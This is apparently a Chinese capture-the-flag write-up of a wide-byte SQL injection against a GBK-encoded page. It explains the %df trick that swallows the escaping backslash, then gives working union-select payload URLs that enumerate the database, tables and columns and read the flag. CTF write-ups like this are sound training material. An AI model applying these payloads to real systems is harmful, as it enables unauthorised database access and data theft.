SQL注入

一. 宽字节注入

页面有提示使用了GBK2312编码,然后开始考虑宽字节注入,加上一个%df使其吃掉%5c

http://103.238.227.13:10083/?id=1%df%27         报错OK,继续

union select测试到两列时出现回显: 

http://103.238.227.13:10083/?id=-1%df%27 union select 1,2--+

构造语句查看数据库名
http://103.238.227.13:10083/?id=-1%df%27 union select 1,database()%23
```
构造语句查看列名
http://103.238.227.13:10083/?id=-1%df%27 union select 1,table_name from information_schema.tables where table_schema=0x73716C35--+
```
构造语句查看字段名
http://103.238.227.13:10083/?id=-1%df%27 union select 1,column_name from information_schema.columns where table_name=0x6B6579--+
```
最后构造语句查看flag
http://103.238.227.13:10083/?id=-1%df%27 union select 1,string from sql5.key--+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值